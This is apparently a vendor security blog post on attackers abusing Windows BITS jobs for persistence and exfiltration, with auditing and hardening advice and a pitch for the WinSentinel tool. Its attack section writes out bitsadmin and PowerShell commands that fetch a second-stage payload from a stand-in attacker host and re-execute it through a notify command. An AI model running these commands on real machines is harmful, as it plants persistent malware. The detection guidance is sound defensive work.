BITS Jobs: The Windows Transfer Service Attackers Use to Persist and Exfiltrate
Background Intelligent Transfer Service jobs survive reboots, run as SYSTEM, and blend into normal Windows update traffic. Here's how attackers weaponize BITS and how to audit it.
The Background Intelligent Transfer Service (BITS) is the plumbing that lets Windows Update, Microsoft Store, and a hundred enterprise agents pull files in the background without saturating your link. It is throttle-aware, resumes after a reboot, and retries for days. Those are exactly the properties an attacker wants from a persistence and exfiltration channel — which is why BITS abuse (MITRE ATT&CK T1197) keeps showing up in real intrusions from commodity loaders all the way to nation-state toolkits.
Why BITS is such a clean tradecraft choice
Most defenders instrument process creation and PowerShell. BITS sidesteps both. A transfer job is not a running process — it is a state entry owned by the svchost.exe-hosted service. The actual network fetch happens under a service account, often SYSTEM, with a User-Agent of Microsoft BITS/7.8 that looks identical to legitimate update traffic. When the job completes, BITS can fire a notify command to run an arbitrary program. That gives an attacker three things in one primitive:
- Ingress tool transfer — download a second-stage payload without
curl,certutil, or a browser touching disk in an obvious way. - Persistence — a job with a long retry window and a
SetNotifyCmdLinere-executes the payload every time the transfer "completes," surviving reboots for up to 90 days by default. - Exfiltration — BITS uploads (
bitsadmin /transfer /uploador theStart-BitsTransfer -TransferType Upload) push data out through the same trusted channel.
What the attack looks like
The classic living-off-the-land version uses the built-in bitsadmin.exe, still present for backward compatibility:
bitsadmin /create backdoor
bitsadmin /addfile backdoor http://attacker.example/stage2.exe %APPDATA%\svc.exe
bitsadmin /SetNotifyCmdLine backdoor %APPDATA%\svc.exe NULL
bitsadmin /SetMinRetryDelay backdoor 60
bitsadmin /resume backdoor
The modern, quieter version uses the PowerShell BITS cmdlets, which never shell out to a suspicious binary name:
Import-Module BitsTransfer
Start-BitsTransfer -Source http://attacker.example/stage2.exe `
-Destination $env:APPDATA\svc.exe -TransferType Download -Asynchronous
Because the job persists in the BITS queue rather than in a Run key or scheduled task, tools that only walk the usual autostart locations miss it entirely. This is the blind spot BITS abuse depends on.
Auditing BITS on a single machine
Every Windows box already carries the evidence — you just have to look where nothing else does. Start with the live job queue and the operational log:
- Enumerate all jobs, all users:
bitsadmin /list /allusers /verboseandGet-BitsTransfer -AllUsers. Any job with aNotifyCmdLine, a destination in%TEMP%/%APPDATA%/Public, or a remote HTTP source that is not a known Microsoft/vendor endpoint deserves a hard look. - Read the operational log:
Microsoft-Windows-Bits-Client/Operational. Event 3 records job creation with the owner SID; events 59/60 record the URL and completion. Correlate the owner and the URL — a SYSTEM-owned job pulling from a raw IP is a red flag. - Check retry windows: a job with an abnormally long
JobPrioritylifetime or a tinyMinRetryDelayis engineered for persistence, not for a real download.
Rule of thumb: legitimate BITS jobs are transient and owned by service installers or Windows Update. A job that has lived across multiple reboots, is owned by an interactive user, and carries a notify command is persistence until proven otherwise.
WinSentinel runs this exact enumeration as part of its persistence and living-off-the-land audit surface — every one of the tool's 33 modules is available free on a single machine with no cap. It flags BITS jobs with notify commands, non-Microsoft sources, and long retry windows, then explains why each one is suspicious and how to remove it (bitsadmin /cancel <job> or Remove-BitsTransfer).
Hardening and detection that actually holds
- Turn on the operational log and forward it. The Bits-Client operational channel is on by default but rarely collected. Ship events 3/59/60 to your log pipeline so a notify-command job creation is queryable.
- Alert on notify commands. A BITS job that sets
SetNotifyCmdLineis rare in benign use. Treat its creation as a high-signal detection. - Constrain egress. BITS honors proxy and firewall policy. If only your update/CDN endpoints are reachable, arbitrary-URL exfiltration jobs fail at the network layer.
- Baseline and diff. Snapshot the expected BITS job set for your standard image and alert on anything outside it.
Where fleets change the math
One machine you can inspect by hand. Fifty or five hundred, and BITS abuse becomes a needle-in-haystack problem — a single compromised endpoint hiding a persistence job among thousands of legitimate update transfers. This is where WinSentinel Pro's fleet orchestration earns its place: the central node rolls BITS findings up across every agent, so a suspicious notify-command job on one host surfaces in a single view instead of requiring you to log into each box. Drift alerts fire when a new BITS persistence entry appears on a machine that had none at last scan, turning a manual hunt into a push notification.
BITS is a great example of why agent-based auditing beats a point-in-time scan: the abuse lives in service state, not in a process you can catch with a snapshot. Enumerate the queue, watch the operational log, and treat any job with a notify command and a non-Microsoft source as hostile until you can prove otherwise.